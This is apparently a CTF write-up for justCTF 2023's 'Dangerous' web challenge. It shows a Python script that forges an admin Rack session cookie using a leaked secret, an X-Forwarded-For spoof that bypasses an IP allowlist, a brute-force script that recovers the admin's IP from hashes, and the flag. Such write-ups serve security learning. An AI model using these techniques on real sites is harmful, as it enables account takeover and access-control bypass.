(Participated in a team my CTFtime account is not in)
## A First Look
The web app is a forum, with two threads posted.
![Homepage](https://www.cjxol.com/assets/image/justctf-2023-web-dangerous-writeup/homepage.png)
Viewing one of the threads, it can be seen that the username of admin is `janitor`.
![Thread 1](https://www.cjxol.com/assets/image/justctf-2023-web-dangerous-writeup/thread-1.png)
The web app is written in Ruby.
The `/flag` endpoint and `is_allowed_ip` function is especially interesting:
```rubyget "/flag" do  if !session[:username] then    erb :login  elsif !is_allowed_ip(session[:username], request.ip, config) then    return [403, "You are connecting from untrusted IP!"]  else    return config["flag"]   endend
def is_allowed_ip(username, ip, config)  return config["mods"].any? {    |mod| mod["username"] == username and mod["allowed_ip"] == ip  }end```
It checks the if the user logged in is a moderator and if the IP address is the allowed IP address in a config file.
## Craft Admin Cookie
When clicking on "New Thread" without filling in anything, the website shows an error page with backtrace and environment information. The session secret as well as how the session cookie is encoded is revealed.
![Session options](https://www.cjxol.com/assets/image/justctf-2023-web-dangerous-writeup/session-options.png)
The session is implemented with Rack Protection. With some research into the [source code](https://github.com/sinatra/sinatra/blob/5f4dde19719505989905782a61a19c545df7f9f9/rack-protection/lib/rack/protection/encryptor.rb#L19), and from environment info, it can be seen that the session cookie is encoded and encrypted as follows:
1. The data is first serialised with Marshal2. It is then encrypted with AES-256-GCM with the first 32 bytes of the session secret as the key3. The encrypted data, IV and authentication tag are then encoded with URL-safe base644. The encrypted data, IV and authentication tag are then concatenated with a `--` delimiter
My script to modify the session cookie into an admin cookie is as follows:
```pythonimport base64import urllib.parseimport rubymarshal.reader, rubymarshal.writerfrom Crypto.Cipher import AES
secret = bytes.fromhex('[secret hex string]')cookie = '[original cookie]'ct, iv, auth = cookie.split('--')ct, iv, auth = map(urllib.parse.unquote, [ct, iv, auth])ct, iv, auth = map(base64.b64decode, [ct, iv, auth])cipher = AES.new(secret[:32], AES.MODE_GCM, iv)dec = cipher.decrypt(ct)d = rubymarshal.reader.loads(dec)
d['username'] = 'janitor'm = rubymarshal.writer.writes(d)cipher = AES.new(secret[:32], AES.MODE_GCM, iv)  # I just reuse the original IVct, auth = cipher.encrypt_and_digest(m)ct, iv, auth = map(base64.b64encode, [ct, iv, auth])ct, iv, auth = map(urllib.parse.quote, [ct, iv, auth])cookie = f'{ct}--{iv}--{auth}'print(cookie)```
## Bypass IP Restriction
With the admin cookie, the `/flag` endpoint now does not prompt to login, but instead shows a 403 error page with message "You are connecting from untrusted IP!".
### Spoof the IP Address
In `nginx.conf`, it can be seen that the `REMOTE_ADDR` header is set to localhost with the following:
```nginxproxy_set_header REMOTE_ADDR localhost;```
Research on how the app gets `request.ip`, found in this [Stack Overflow answer](https://stackoverflow.com/a/43014286), that if the `REMOTE_ADDR` is in reserved private subnet ranges, it will instead use the `X-Forwarded-For` header, thus the IP address can be spoofed with `X-Forwarded-For`.
### Find the Allowed IP Address
However, the allowed IP address is still unknown. Looking at the source code, the user colour uses in each thread uses the first 6 characters of the hex value of SHA-256 of the IP address and thread ID concatenated together.
```erb<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>```
In the above code, `reply[2]` is the IP address of the user who posted the reply, and `@id` is the thread ID.
Both of thread 1 and thread 2 have a reply from the admin, so the IP address can be found by brute forcing to find the IP address that produces the matching hashes for both threads.
```pythonfrom Crypto.Hash import SHA256from multiprocessing import Pooltarget = '32cae2'thread = 1def brute(a):    for b in range(256):        for c in range(256):            for d in range(256):                ip = f'{a}.{b}.{c}.{d}'                x = ip + str(thread)                h = SHA256.new(x.encode()).hexdigest()[:6]                if h == target:                    print(f'{a}.{b}.{c}.{d}', flush=True)if __name__ == '__main__':    with Pool(8) as p:        p.map(brute, range(256))```
Putting everything together, the flag is:
```justCTF{1_th1nk_4l1ce_R4bb1t_m1ght_4_4_d0g}```
## Additional Notes
Rack Protection tracks user agent, and if the user agent is changed, the session cookie will be invalidated. Either the user agent must be spoofed, or the session cookie must be regenerated.